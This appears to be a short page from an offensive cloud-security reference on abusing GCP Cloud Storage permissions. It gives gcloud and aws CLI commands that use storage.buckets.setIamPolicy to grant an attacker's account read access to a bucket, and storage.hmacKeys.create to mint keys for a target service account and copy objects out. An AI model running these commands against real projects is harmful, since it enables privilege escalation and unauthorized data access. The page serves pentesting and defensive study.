Cloud Storage
Abusable GCP Cloud Storage permissions that can lead to compromise or privilege escalation
storage.buckets.setIamPolicy
gcloud storage buckets add-iam-policy-binding gs://<BUCKET-NAME> \
--member=serviceAccount:<YOUR_SA>@<PROJECT>.iam.gserviceaccount.com \
--role=roles/storage.objectViewer
gcloud storage cp gs://<BUCKET_NAME>/<OBJECT> -storage.hmacKeys.create
gcloud storage hmac create <TARGET_SA>@<PROJECT>.iam.gserviceaccount.com
AWS_ACCESS_KEY_ID=<ACCESS_ID> \
AWS_SECRET_ACCESS_KEY=<SECRET> \
aws s3 cp s3://<BUCKET_NAME>/<OBJECT> . \
--endpoint-url https://storage.googleapis.comLast updated